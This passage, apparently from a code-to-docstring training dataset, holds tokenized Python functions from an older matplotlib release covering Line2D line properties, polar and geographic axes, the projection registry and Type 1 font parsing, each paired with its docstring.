dash_joinstyle=rcParams['<STR_LIT>']<EOL>if solid_capstyle is None : solid_capstyle=rcParams['<STR_LIT>']<EOL>if solid_joinstyle is None : solid_joinstyle=rcParams['<STR_LIT>']<EOL>if drawstyle is None : drawstyle='<STR_LIT:default>'<EOL>self.set_dash_capstyle(dash_capstyle)<EOL>self.set_dash_joinstyle(dash_joinstyle)<EOL>self.set_solid_capstyle(solid_capstyle)<EOL>self.set_solid_joinstyle(solid_joinstyle)<EOL>self.set_linestyle(linestyle)<EOL>self.set_drawstyle(drawstyle)<EOL>self.set_linewidth(linewidth)<EOL>self.set_color(color)<EOL>self.set_marker(marker)<EOL>self.set_antialiased(antialiased)<EOL>self.set_markersize(markersize)<EOL>self._dashSeq = None<EOL>self.set_markerfacecolor(markerfacecolor)<EOL>self.set_markeredgecolor(markeredgecolor)<EOL>self.set_markeredgewidth(markeredgewidth)<EOL>self._point_size_reduction = <NUM_LIT:0.5><EOL>self.verticalOffset = None<EOL>self.update(kwargs)<EOL>self.pickradius = pickradius<EOL>if is_numlike(self._picker):<EOL><INDENT>self.pickradius = self._picker<EOL><DEDENT>self._xorig = np.asarray([])<EOL>self._yorig = np.asarray([])<EOL>self._invalid = True<EOL>self.set_data(xdata, ydata)<EOL>", "docstring": "Create a :class:`~matplotlib.lines.Line2D` instance with *x*\nand *y* data in sequences *xdata*, *ydata*.\n\nThe kwargs are :class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\nSee :meth:`set_linestyle` for a decription of the line styles,\n:meth:`set_marker` for a description of the markers, and\n:meth:`set_drawstyle` for a description of the draw styles.", "id": "f17180:c0:m1"}
{"signature": "def contains(self, mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>if not is_numlike(self.pickradius):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self._invalid:<EOL><INDENT>self.recache()<EOL><DEDENT>if len(self._xy)==<NUM_LIT:0>: return False,{}<EOL>path, affine = self._transformed_path.get_transformed_path_and_affine()<EOL>path = affine.transform_path(path)<EOL>xy = path.vertices<EOL>xt = xy[:, <NUM_LIT:0>]<EOL>yt = xy[:, <NUM_LIT:1>]<EOL>if self.figure == None:<EOL><INDENT>warning.warn('<STR_LIT>')<EOL>pixels = self.pickradius<EOL><DEDENT>else:<EOL><INDENT>pixels = self.figure.dpi/<NUM_LIT> * self.pickradius<EOL><DEDENT>if self._linestyle in ['<STR_LIT:None>',None]:<EOL><INDENT>d = (xt-mouseevent.x)**<NUM_LIT:2> + (yt-mouseevent.y)**<NUM_LIT:2><EOL>ind, = np.nonzero(np.less_equal(d, pixels**<NUM_LIT:2>))<EOL><DEDENT>else:<EOL><INDENT>ind = segment_hits(mouseevent.x,mouseevent.y,xt,yt,pixels)<EOL><DEDENT>if False and self._label != '<STR_LIT>':<EOL><INDENT>print(\"<STR_LIT>\",self._label,\"<STR_LIT>\",mouseevent.x,mouseevent.y)<EOL>print('<STR_LIT>', xt)<EOL>print('<STR_LIT>', yt)<EOL>print('<STR_LIT>',ind)<EOL><DEDENT>return len(ind)><NUM_LIT:0>,dict(ind=ind)<EOL>", "docstring": "Test whether the mouse event occurred on the line.  The pick\nradius determines the precision of the location test (usually\nwithin five points of the value).  Use\n:meth:`~matplotlib.lines.Line2D.get_pickradius` or\n:meth:`~matplotlib.lines.Line2D.set_pickradius` to view or\nmodify it.\n\nReturns *True* if any values are within the radius along with\n``{'ind': pointlist}``, where *pointlist* is the set of points\nwithin the radius.\n\nTODO: sort returned indices by distance", "id": "f17180:c0:m2"}
{"signature": "def get_pickradius(self):", "body": "return self.pickradius<EOL>", "docstring": "return the pick radius used for containment tests", "id": "f17180:c0:m3"}
{"signature": "def setpickradius(self,d):", "body": "self.pickradius = d<EOL>", "docstring": "Sets the pick radius used for containment tests\n\n        ACCEPTS: float distance in points", "id": "f17180:c0:m4"}
{"signature": "def set_picker(self,p):", "body": "if callable(p):<EOL><INDENT>self._contains = p<EOL><DEDENT>else:<EOL><INDENT>self.pickradius = p<EOL><DEDENT>self._picker = p<EOL>", "docstring": "Sets the event picker details for the line.\n\n        ACCEPTS: float distance in points or callable pick function\n        ``fn(artist, event)``", "id": "f17180:c0:m5"}
{"signature": "def set_data(self, *args):", "body": "if len(args)==<NUM_LIT:1>:<EOL><INDENT>x, y = args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>x, y = args<EOL><DEDENT>not_masked = <NUM_LIT:0><EOL>if not ma.isMaskedArray(x):<EOL><INDENT>x = np.asarray(x)<EOL>not_masked += <NUM_LIT:1><EOL><DEDENT>if not ma.isMaskedArray(y):<EOL><INDENT>y = np.asarray(y)<EOL>not_masked += <NUM_LIT:1><EOL><DEDENT>if (not_masked < <NUM_LIT:2> or<EOL>(x is not self._xorig and<EOL>(x.shape != self._xorig.shape or np.any(x != self._xorig))) or<EOL>(y is not self._yorig and<EOL>(y.shape != self._yorig.shape or np.any(y != self._yorig)))):<EOL><INDENT>self._xorig = x<EOL>self._yorig = y<EOL>self._invalid = True<EOL><DEDENT>", "docstring": "Set the x and y data\n\nACCEPTS: 2D array", "id": "f17180:c0:m8"}
{"signature": "def set_transform(self, t):", "body": "Artist.set_transform(self, t)<EOL>self._invalid = True<EOL>", "docstring": "set the Transformation instance used by this artist\n\nACCEPTS: a :class:`matplotlib.transforms.Transform` instance", "id": "f17180:c0:m10"}
{"signature": "def _is_sorted(self, x):", "body": "if len(x)<<NUM_LIT:2>: return <NUM_LIT:1><EOL>return np.alltrue(x[<NUM_LIT:1>:]-x[<NUM_LIT:0>:-<NUM_LIT:1>]>=<NUM_LIT:0>)<EOL>", "docstring": "return true if x is sorted", "id": "f17180:c0:m11"}
{"signature": "def get_data(self, orig=True):", "body": "return self.get_xdata(orig=orig), self.get_ydata(orig=orig)<EOL>", "docstring": "Return the xdata, ydata.\n\nIf *orig* is *True*, return the original data", "id": "f17180:c0:m23"}
{"signature": "def get_xdata(self, orig=True):", "body": "if orig:<EOL><INDENT>return self._xorig<EOL><DEDENT>if self._invalid:<EOL><INDENT>self.recache()<EOL><DEDENT>return self._x<EOL>", "docstring": "Return the xdata.\n\nIf *orig* is *True*, return the original data, else the\nprocessed data.", "id": "f17180:c0:m24"}
{"signature": "def get_ydata(self, orig=True):", "body": "if orig:<EOL><INDENT>return self._yorig<EOL><DEDENT>if self._invalid:<EOL><INDENT>self.recache()<EOL><DEDENT>return self._y<EOL>", "docstring": "Return the ydata.\n\nIf *orig* is *True*, return the original data, else the\nprocessed data.", "id": "f17180:c0:m25"}
{"signature": "def get_path(self):", "body": "if self._invalid:<EOL><INDENT>self.recache()<EOL><DEDENT>return self._path<EOL>", "docstring": "Return the :class:`~matplotlib.path.Path` object associated\nwith this line.", "id": "f17180:c0:m26"}
{"signature": "def get_xydata(self):", "body": "if self._invalid:<EOL><INDENT>self.recache()<EOL><DEDENT>return self._xy<EOL>", "docstring": "Return the *xy* data as a Nx2 numpy array.", "id": "f17180:c0:m27"}
{"signature": "def set_antialiased(self, b):", "body": "self._antialiased = b<EOL>", "docstring": "True if line should be drawin with antialiased rendering\n\nACCEPTS: [True | False]", "id": "f17180:c0:m28"}
{"signature": "def set_color(self, color):", "body": "self._color = color<EOL>", "docstring": "Set the color of the line\n\nACCEPTS: any matplotlib color", "id": "f17180:c0:m29"}
{"signature": "def set_drawstyle(self, drawstyle):", "body": "self._drawstyle = drawstyle<EOL>", "docstring": "Set the drawstyle of the plot\n\n'default' connects the points with lines. The steps variants\nproduce step-plots. 'steps' is equivalent to 'steps-pre' and\nis maintained for backward-compatibility.\n\nACCEPTS: [ 'default' | 'steps' | 'steps-pre' | 'steps-mid' | 'steps-post' ]", "id": "f17180:c0:m30"}
{"signature": "def set_linewidth(self, w):", "body": "self._linewidth = w<EOL>", "docstring": "Set the line width in points\n\nACCEPTS: float value in points", "id": "f17180:c0:m31"}
{"signature": "def set_linestyle(self, linestyle):", "body": "<EOL>for ds in flatten([list(k.keys()) for k in (self._drawStyles_l,<EOL>self._drawStyles_s)], is_string_like):<EOL><INDENT>if linestyle.startswith(ds):<EOL><INDENT>self.set_drawstyle(ds)<EOL>if len(linestyle) > len(ds):<EOL><INDENT>linestyle = linestyle[len(ds):]<EOL><DEDENT>else:<EOL><INDENT>linestyle = '<STR_LIT:->'<EOL><DEDENT><DEDENT><DEDENT>if linestyle not in self._lineStyles:<EOL><INDENT>if linestyle in ls_mapper:<EOL><INDENT>linestyle = ls_mapper[linestyle]<EOL><DEDENT>else:<EOL><INDENT>verbose.report('<STR_LIT>' %<EOL>(linestyle, type(linestyle)))<EOL><DEDENT><DEDENT>if linestyle in ['<STR_LIT:U+0020>','<STR_LIT>']:<EOL><INDENT>linestyle = '<STR_LIT:None>'<EOL><DEDENT>self._linestyle = linestyle<EOL>", "docstring": "Set the linestyle of the line (also accepts drawstyles)\n\n\n================    =================\nlinestyle           description\n================    =================\n'-'                 solid\n'--'                dashed\n'-.'                dash_dot\n':'                 dotted\n'None'              draw nothing\n' '                 draw nothing\n''                  draw nothing\n================    =================\n\n'steps' is equivalent to 'steps-pre' and is maintained for\nbackward-compatibility.\n\n.. seealso::\n    :meth:`set_drawstyle`\n\nACCEPTS: [ '-' | '--' | '-.' | ':' | 'None' | ' ' | '' ] and\nany drawstyle in combination with a linestyle, e.g. 'steps--'.", "id": "f17180:c0:m32"}
{"signature": "def set_marker(self, marker):", "body": "if marker not in self._markers:<EOL><INDENT>verbose.report('<STR_LIT>' %<EOL>(marker, type(marker)))<EOL><DEDENT>if marker in ['<STR_LIT:U+0020>','<STR_LIT>']:<EOL><INDENT>marker = '<STR_LIT:None>'<EOL><DEDENT>self._marker = marker<EOL>self._markerFunc = self._markers[marker]<EOL>", "docstring": "Set the line marker\n\n========== ==========================\nmarker     description\n========== ==========================\n'.'        point\n','        pixel\n'o'        circle\n'v'        triangle_down\n'^'        triangle_up\n'<'        triangle_left\n'>'        triangle_right\n'1'        tri_down\n'2'        tri_up\n'3'        tri_left\n'4'        tri_right\n's'        square\n'p'        pentagon\n'*'        star\n'h'        hexagon1\n'H'        hexagon2\n'+'        plus\n'x'        x\n'D'        diamond\n'd'        thin_diamond\n'|'        vline\n'_'        hline\nTICKLEFT   tickleft\nTICKRIGHT  tickright\nTICKUP     tickup\nTICKDOWN   tickdown\nCARETLEFT  caretleft\nCARETRIGHT caretright\nCARETUP    caretup\nCARETDOWN  caretdown\n'None'     nothing\n' '        nothing\n''         nothing\n========== ==========================\n\n\n\nACCEPTS: [ '+' | '*' | ',' | '.' | '1' | '2' | '3' | '4'\n         | '<' | '>' | 'D' | 'H' | '^' | '_' | 'd'\n         | 'h' | 'o' | 'p' | 's' | 'v' | 'x' | '|'\n         | TICKUP | TICKDOWN | TICKLEFT | TICKRIGHT\n         | 'None' | ' ' | '' ]", "id": "f17180:c0:m33"}
{"signature": "def set_markeredgecolor(self, ec):", "body": "if ec is None :<EOL><INDENT>ec = '<STR_LIT>'<EOL><DEDENT>self._markeredgecolor = ec<EOL>", "docstring": "Set the marker edge color\n\nACCEPTS: any matplotlib color", "id": "f17180:c0:m34"}
{"signature": "def set_markeredgewidth(self, ew):", "body": "if ew is None :<EOL><INDENT>ew = rcParams['<STR_LIT>']<EOL><DEDENT>self._markeredgewidth = ew<EOL>", "docstring": "Set the marker edge width in points\n\nACCEPTS: float value in points", "id": "f17180:c0:m35"}
{"signature": "def set_markerfacecolor(self, fc):", "body": "if fc is None :<EOL><INDENT>fc = '<STR_LIT>'<EOL><DEDENT>self._markerfacecolor = fc<EOL>", "docstring": "Set the marker face color\n\nACCEPTS: any matplotlib color", "id": "f17180:c0:m36"}
{"signature": "def set_markersize(self, sz):", "body": "self._markersize = sz<EOL>", "docstring": "Set the marker size in points\n\nACCEPTS: float", "id": "f17180:c0:m37"}
{"signature": "def set_xdata(self, x):", "body": "x = np.asarray(x)<EOL>self.set_data(x, self._yorig)<EOL>", "docstring": "Set the data np.array for x\n\nACCEPTS: 1D array", "id": "f17180:c0:m38"}
{"signature": "def set_ydata(self, y):", "body": "y = np.asarray(y)<EOL>self.set_data(self._xorig, y)<EOL>", "docstring": "Set the data np.array for y\n\nACCEPTS: 1D array", "id": "f17180:c0:m39"}
{"signature": "def set_dashes(self, seq):", "body": "if seq == (None, None) or len(seq)==<NUM_LIT:0>:<EOL><INDENT>self.set_linestyle('<STR_LIT:->')<EOL><DEDENT>else:<EOL><INDENT>self.set_linestyle('<STR_LIT>')<EOL><DEDENT>self._dashSeq = seq<EOL>", "docstring": "Set the dash sequence, sequence of dashes with on off ink in\npoints.  If seq is empty or if seq = (None, None), the\nlinestyle will be set to solid.\n\nACCEPTS: sequence of on/off ink in points", "id": "f17180:c0:m40"}
{"signature": "def update_from(self, other):", "body": "Artist.update_from(self, other)<EOL>self._linestyle = other._linestyle<EOL>self._linewidth = other._linewidth<EOL>self._color = other._color<EOL>self._markersize = other._markersize<EOL>self._markerfacecolor = other._markerfacecolor<EOL>self._markeredgecolor = other._markeredgecolor<EOL>self._markeredgewidth = other._markeredgewidth<EOL>self._dashSeq = other._dashSeq<EOL>self._dashcapstyle = other._dashcapstyle<EOL>self._dashjoinstyle = other._dashjoinstyle<EOL>self._solidcapstyle = other._solidcapstyle<EOL>self._solidjoinstyle = other._solidjoinstyle<EOL>self._linestyle = other._linestyle<EOL>self._marker = other._marker<EOL>self._drawstyle = other._drawstyle<EOL>", "docstring": "copy properties from other to self", "id": "f17180:c0:m80"}
{"signature": "def set_aa(self, val):", "body": "self.set_antialiased(val)<EOL>", "docstring": "alias for set_antialiased", "id": "f17180:c0:m82"}
{"signature": "def set_c(self, val):", "body": "self.set_color(val)<EOL>", "docstring": "alias for set_color", "id": "f17180:c0:m83"}
{"signature": "def set_ls(self, val):", "body": "self.set_linestyle(val)<EOL>", "docstring": "alias for set_linestyle", "id": "f17180:c0:m84"}
{"signature": "def set_lw(self, val):", "body": "self.set_linewidth(val)<EOL>", "docstring": "alias for set_linewidth", "id": "f17180:c0:m85"}
{"signature": "def set_mec(self, val):", "body": "self.set_markeredgecolor(val)<EOL>", "docstring": "alias for set_markeredgecolor", "id": "f17180:c0:m86"}
{"signature": "def set_mew(self, val):", "body": "self.set_markeredgewidth(val)<EOL>", "docstring": "alias for set_markeredgewidth", "id": "f17180:c0:m87"}
{"signature": "def set_mfc(self, val):", "body": "self.set_markerfacecolor(val)<EOL>", "docstring": "alias for set_markerfacecolor", "id": "f17180:c0:m88"}
{"signature": "def set_ms(self, val):", "body": "self.set_markersize(val)<EOL>", "docstring": "alias for set_markersize", "id": "f17180:c0:m89"}
{"signature": "def get_aa(self):", "body": "return self.get_antialiased()<EOL>", "docstring": "alias for get_antialiased", "id": "f17180:c0:m90"}
{"signature": "def get_c(self):", "body": "return self.get_color()<EOL>", "docstring": "alias for get_color", "id": "f17180:c0:m91"}
{"signature": "def get_ls(self):", "body": "return self.get_linestyle()<EOL>", "docstring": "alias for get_linestyle", "id": "f17180:c0:m92"}
{"signature": "def get_lw(self):", "body": "return self.get_linewidth()<EOL>", "docstring": "alias for get_linewidth", "id": "f17180:c0:m93"}
{"signature": "def get_mec(self):", "body": "return self.get_markeredgecolor()<EOL>", "docstring": "alias for get_markeredgecolor", "id": "f17180:c0:m94"}
{"signature": "def get_mew(self):", "body": "return self.get_markeredgewidth()<EOL>", "docstring": "alias for get_markeredgewidth", "id": "f17180:c0:m95"}
{"signature": "def get_mfc(self):", "body": "return self.get_markerfacecolor()<EOL>", "docstring": "alias for get_markerfacecolor", "id": "f17180:c0:m96"}
{"signature": "def get_ms(self):", "body": "return self.get_markersize()<EOL>", "docstring": "alias for get_markersize", "id": "f17180:c0:m97"}
{"signature": "def set_dash_joinstyle(self, s):", "body": "s = s.lower()<EOL>if s not in self.validJoin:<EOL><INDENT>raise ValueError('<STR_LIT>' % (s,)<EOL>+ '<STR_LIT>' % (self.validJoin,))<EOL><DEDENT>self._dashjoinstyle = s<EOL>", "docstring": "Set the join style for dashed linestyles\nACCEPTS: ['miter' | 'round' | 'bevel']", "id": "f17180:c0:m98"}
{"signature": "def set_solid_joinstyle(self, s):", "body": "s = s.lower()<EOL>if s not in self.validJoin:<EOL><INDENT>raise ValueError('<STR_LIT>' % (s,)<EOL>+ '<STR_LIT>' % (self.validJoin,))<EOL><DEDENT>self._solidjoinstyle = s<EOL>", "docstring": "Set the join style for solid linestyles\nACCEPTS: ['miter' | 'round' | 'bevel']", "id": "f17180:c0:m99"}
{"signature": "def get_dash_joinstyle(self):", "body": "return self._dashjoinstyle<EOL>", "docstring": "Get the join style for dashed linestyles", "id": "f17180:c0:m100"}
{"signature": "def get_solid_joinstyle(self):", "body": "return self._solidjoinstyle<EOL>", "docstring": "Get the join style for solid linestyles", "id": "f17180:c0:m101"}
{"signature": "def set_dash_capstyle(self, s):", "body": "s = s.lower()<EOL>if s not in self.validCap:<EOL><INDENT>raise ValueError('<STR_LIT>' % (s,)<EOL>+ '<STR_LIT>' % (self.validCap,))<EOL><DEDENT>self._dashcapstyle = s<EOL>", "docstring": "Set the cap style for dashed linestyles\n\nACCEPTS: ['butt' | 'round' | 'projecting']", "id": "f17180:c0:m102"}
{"signature": "def set_solid_capstyle(self, s):", "body": "s = s.lower()<EOL>if s not in self.validCap:<EOL><INDENT>raise ValueError('<STR_LIT>' % (s,)<EOL>+ '<STR_LIT>' % (self.validCap,))<EOL><DEDENT>self._solidcapstyle = s<EOL>", "docstring": "Set the cap style for solid linestyles\n\nACCEPTS: ['butt' | 'round' |  'projecting']", "id": "f17180:c0:m103"}
{"signature": "def get_dash_capstyle(self):", "body": "return self._dashcapstyle<EOL>", "docstring": "Get the cap style for dashed linestyles", "id": "f17180:c0:m104"}
{"signature": "def get_solid_capstyle(self):", "body": "return self._solidcapstyle<EOL>", "docstring": "Get the cap style for solid linestyles", "id": "f17180:c0:m105"}
{"signature": "def is_dashed(self):", "body": "return self._linestyle in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT::>')<EOL>", "docstring": "return True if line is dashstyle", "id": "f17180:c0:m106"}
{"signature": "def __init__(self, line):", "body": "if not hasattr(line, '<STR_LIT>'):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if line.get_picker() is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self.axes = line.axes<EOL>self.line = line<EOL>self.canvas = self.axes.figure.canvas<EOL>self.cid = self.canvas.mpl_connect('<STR_LIT>', self.onpick)<EOL>self.ind = set()<EOL>", "docstring": "Initialize the class with a :class:`matplotlib.lines.Line2D`\ninstance.  The line should already be added to some\n:class:`matplotlib.axes.Axes` instance and should have the\npicker property set.", "id": "f17180:c1:m0"}
{"signature": "def process_selected(self, ind, xs, ys):", "body": "pass<EOL>", "docstring": "Default \"do nothing\" implementation of the\n:meth:`process_selected` method.\n\n*ind* are the indices of the selected vertices.  *xs* and *ys*\nare the coordinates of the selected vertices.", "id": "f17180:c1:m1"}
{"signature": "def onpick(self, event):", "body": "if event.artist is not self.line: return<EOL>for i in event.ind:<EOL><INDENT>if i in self.ind:<EOL><INDENT>self.ind.remove(i)<EOL><DEDENT>else:<EOL><INDENT>self.ind.add(i)<EOL><DEDENT><DEDENT>ind = list(self.ind)<EOL>ind.sort()<EOL>xdata, ydata = self.line.get_data()<EOL>self.process_selected(ind, xdata[ind], ydata[ind])<EOL>", "docstring": "When the line is picked, update the set of selected indicies.", "id": "f17180:c1:m2"}
{"signature": "def format_coord(self, long, lat):", "body": "long = long * (<NUM_LIT> / np.pi)<EOL>lat = lat * (<NUM_LIT> / np.pi)<EOL>if lat >= <NUM_LIT:0.0>:<EOL><INDENT>ns = '<STR_LIT:N>'<EOL><DEDENT>else:<EOL><INDENT>ns = '<STR_LIT:S>'<EOL><DEDENT>if long >= <NUM_LIT:0.0>:<EOL><INDENT>ew = '<STR_LIT:E>'<EOL><DEDENT>else:<EOL><INDENT>ew = '<STR_LIT>'<EOL><DEDENT>return u'<STR_LIT>' % (abs(lat), ns, abs(long), ew)<EOL>", "docstring": "return a format string formatting the coordinate", "id": "f17181:c0:m12"}
{"signature": "def set_longitude_grid(self, degrees):", "body": "number = (<NUM_LIT> / degrees) + <NUM_LIT:1><EOL>self.xaxis.set_major_locator(<EOL>FixedLocator(<EOL>np.linspace(-np.pi, np.pi, number, True)[<NUM_LIT:1>:-<NUM_LIT:1>]))<EOL>self._logitude_degrees = degrees<EOL>self.xaxis.set_major_formatter(self.ThetaFormatter(degrees))<EOL>", "docstring": "Set the number of degrees between each longitude grid.", "id": "f17181:c0:m13"}
{"signature": "def set_latitude_grid(self, degrees):", "body": "number = (<NUM_LIT> / degrees) + <NUM_LIT:1><EOL>self.yaxis.set_major_locator(<EOL>FixedLocator(<EOL>np.linspace(-np.pi / <NUM_LIT>, np.pi / <NUM_LIT>, number, True)[<NUM_LIT:1>:-<NUM_LIT:1>]))<EOL>self._latitude_degrees = degrees<EOL>self.yaxis.set_major_formatter(self.ThetaFormatter(degrees))<EOL>", "docstring": "Set the number of degrees between each longitude grid.", "id": "f17181:c0:m14"}
{"signature": "def set_longitude_grid_ends(self, degrees):", "body": "self._longitude_cap = degrees * (np.pi / <NUM_LIT>)<EOL>self._xaxis_pretransform.clear().scale(<NUM_LIT:1.0>, self._longitude_cap * <NUM_LIT>).translate(<NUM_LIT:0.0>, -self._longitude_cap)<EOL>", "docstring": "Set the latitude(s) at which to stop drawing the longitude grids.", "id": "f17181:c0:m15"}
{"signature": "def get_data_ratio(self):", "body": "return <NUM_LIT:1.0><EOL>", "docstring": "Return the aspect ratio of the data itself.", "id": "f17181:c0:m16"}
{"signature": "def can_zoom(self):", "body": "return False<EOL>", "docstring": "Return True if this axes support the zoom box", "id": "f17181:c0:m17"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self._rpad = <NUM_LIT><EOL>self.resolution = kwargs.pop('<STR_LIT>', self.RESOLUTION)<EOL>Axes.__init__(self, *args, **kwargs)<EOL>self.set_aspect('<STR_LIT>', adjustable='<STR_LIT>', anchor='<STR_LIT:C>')<EOL>self.cla()<EOL>", "docstring": "Create a new Polar Axes for a polar plot.", "id": "f17182:c0:m0"}
{"signature": "def set_thetagrids(self, angles, labels=None, frac=None,<EOL>**kwargs):", "body": "angles = npy.asarray(angles, npy.float_)<EOL>self.set_xticks(angles * (npy.pi / <NUM_LIT>))<EOL>if labels is not None:<EOL><INDENT>self.set_xticklabels(labels)<EOL><DEDENT>if frac is not None:<EOL><INDENT>self._theta_label1_position.clear().translate(<NUM_LIT:0.0>, frac)<EOL>self._theta_label2_position.clear().translate(<NUM_LIT:0.0>, <NUM_LIT:1.0> / frac)<EOL><DEDENT>for t in self.xaxis.get_ticklabels():<EOL><INDENT>t.update(kwargs)<EOL><DEDENT>return self.xaxis.get_ticklines(), self.xaxis.get_ticklabels()<EOL>", "docstring": "Set the angles at which to place the theta grids (these\ngridlines are equal along the theta dimension).  *angles* is in\ndegrees.\n\n*labels*, if not None, is a ``len(angles)`` list of strings of\nthe labels to use at each angle.\n\nIf *labels* is None, the labels will be ``fmt %% angle``\n\n*frac* is the fraction of the polar axes radius at which to\nplace the label (1 is the edge). Eg. 1.05 is outside the axes\nand 0.95 is inside the axes.\n\nReturn value is a list of tuples (*line*, *label*), where\n*line* is :class:`~matplotlib.lines.Line2D` instances and the\n*label* is :class:`~matplotlib.text.Text` instances.\n\nkwargs are optional text properties for the labels:\n\n%(Text)s\n\nACCEPTS: sequence of floats", "id": "f17182:c0:m13"}
{"signature": "def set_rgrids(self, radii, labels=None, angle=None, rpad=None, **kwargs):", "body": "radii = npy.asarray(radii)<EOL>rmin = radii.min()<EOL>if rmin <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.set_yticks(radii)<EOL>if labels is not None:<EOL><INDENT>self.set_yticklabels(labels)<EOL><DEDENT>if angle is None:<EOL><INDENT>angle = self._r_label1_position.to_values()[<NUM_LIT:4>]<EOL><DEDENT>if rpad is not None:<EOL><INDENT>self._rpad = rpad<EOL><DEDENT>rmax = self.get_rmax()<EOL>self._r_label1_position.clear().translate(angle, self._rpad * rmax)<EOL>self._r_label2_position.clear().translate(angle, -self._rpad * rmax)<EOL>for t in self.yaxis.get_ticklabels():<EOL><INDENT>t.update(kwargs)<EOL><DEDENT>return self.yaxis.get_ticklines(), self.yaxis.get_ticklabels()<EOL>", "docstring": "Set the radial locations and labels of the *r* grids.\n\nThe labels will appear at radial distances *radii* at the\ngiven *angle* in degrees.\n\n*labels*, if not None, is a ``len(radii)`` list of strings of the\nlabels to use at each radius.\n\nIf *labels* is None, the built-in formatter will be used.\n\n*rpad* is a fraction of the max of *radii* which will pad each of\nthe radial labels in the radial direction.\n\nReturn value is a list of tuples (*line*, *label*), where\n*line* is :class:`~matplotlib.lines.Line2D` instances and the\n*label* is :class:`~matplotlib.text.Text` instances.\n\nkwargs are optional text properties for the labels:\n\n%(Text)s\n\nACCEPTS: sequence of floats", "id": "f17182:c0:m14"}
{"signature": "def format_coord(self, theta, r):", "body": "theta /= math.pi<EOL>return u'<STR_LIT>' % (theta, theta * <NUM_LIT>, r)<EOL>", "docstring": "Return a format string formatting the coordinate using Unicode\ncharacters.", "id": "f17182:c0:m17"}
{"signature": "def get_data_ratio(self):", "body": "return <NUM_LIT:1.0><EOL>", "docstring": "Return the aspect ratio of the data itself.  For a polar plot,\nthis should always be 1.0", "id": "f17182:c0:m18"}
{"signature": "def can_zoom(self):", "body": "return False<EOL>", "docstring": "Return True if this axes support the zoom box", "id": "f17182:c0:m19"}
{"signature": "def get_projection_class(projection=None):", "body": "if projection is None:<EOL><INDENT>projection = '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>return projection_registry.get_projection_class(projection)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % projection)<EOL><DEDENT>", "docstring": "Get a projection class from its name.\n\nIf *projection* is None, a standard rectilinear projection is\nreturned.", "id": "f17183:m1"}
{"signature": "def projection_factory(projection, figure, rect, **kwargs):", "body": "return get_projection_class(projection)(figure, rect, **kwargs)<EOL>", "docstring": "Get a new projection instance.\n\n*projection* is a projection name.\n\n*figure* is a figure to add the axes to.\n\n*rect* is a :class:`~matplotlib.transforms.Bbox` object specifying\nthe location of the axes within the figure.\n\nAny other kwargs are passed along to the specific projection\nconstructor being used.", "id": "f17183:m2"}
{"signature": "def get_projection_names():", "body": "return projection_registry.get_projection_names()<EOL>", "docstring": "Get a list of acceptable projection names.", "id": "f17183:m3"}
{"signature": "def register(self, *projections):", "body": "for projection in projections:<EOL><INDENT>name = projection.name<EOL>self._all_projection_types[name] = projection<EOL><DEDENT>", "docstring": "Register a new set of projection(s).", "id": "f17183:c0:m1"}
{"signature": "def get_projection_class(self, name):", "body": "return self._all_projection_types[name]<EOL>", "docstring": "Get a projection class from its *name*.", "id": "f17183:c0:m2"}
{"signature": "def get_projection_names(self):", "body": "names = self._all_projection_types.keys()<EOL>names.sort()<EOL>return names<EOL>", "docstring": "Get a list of the names of all projections currently\nregistered.", "id": "f17183:c0:m3"}
{"signature": "def _split(self, data):", "body": "<EOL>idx = data.index('<STR_LIT>')<EOL>idx += len('<STR_LIT>')<EOL>while data[idx] in '<STR_LIT>':<EOL><INDENT>idx += <NUM_LIT:1><EOL><DEDENT>len1 = idx<EOL>idx = data.rindex('<STR_LIT>') - <NUM_LIT:1><EOL>zeros = <NUM_LIT><EOL>while zeros and data[idx] in ('<STR_LIT:0>', '<STR_LIT:\\n>', '<STR_LIT:\\r>'):<EOL><INDENT>if data[idx] == '<STR_LIT:0>':<EOL><INDENT>zeros -= <NUM_LIT:1><EOL><DEDENT>idx -= <NUM_LIT:1><EOL><DEDENT>if zeros:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>binary = '<STR_LIT>'.join([chr(int(data[i:i+<NUM_LIT:2>], <NUM_LIT:16>))<EOL>for i in range(len1, idx, <NUM_LIT:2>)])<EOL>return data[:len1], binary, data[idx:]<EOL>", "docstring": "Split the Type 1 font into its three main parts.\n\nThe three parts are: (1) the cleartext part, which ends in a\neexec operator; (2) the encrypted part; (3) the fixed part,\nwhich contains 512 ASCII zeros possibly divided on various\nlines, a cleartomark operator, and possibly something else.", "id": "f17184:c0:m2"}
{"signature": "def _parse(self):", "body": "def tokens(text):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>pos = <NUM_LIT:0><EOL>while pos < len(text):<EOL><INDENT>match = self._comment.match(text[pos:]) or self._whitespace.match(text[pos:])<EOL>if match:<EOL><INDENT>pos += match.end()<EOL><DEDENT>elif text[pos] == '<STR_LIT:(>':<EOL><INDENT>start = pos<EOL>pos += <NUM_LIT:1><EOL>depth = <NUM_LIT:1><EOL>while depth:<EOL><INDENT>match = self._instring.search(text[pos:])<EOL>if match is None: return<EOL>if match.group() == '<STR_LIT:(>':<EOL><INDENT>depth += <NUM_LIT:1><EOL>pos += <NUM_LIT:1><EOL><DEDENT>elif match.group() == '<STR_LIT:)>':<EOL><INDENT>depth -= <NUM_LIT:1><EOL>pos += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>pos += <NUM_LIT:2><EOL><DEDENT><DEDENT>yield (start, text[start:pos])<EOL><DEDENT>elif text[pos:pos+<NUM_LIT:2>] in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>yield (pos, text[pos:pos+<NUM_LIT:2>])<EOL>pos += <NUM_LIT:2><EOL><DEDENT>elif text[pos] == '<STR_LIT:<>':<EOL><INDENT>start = pos<EOL>pos += text[pos:].index('<STR_LIT:>>')<EOL>yield (start, 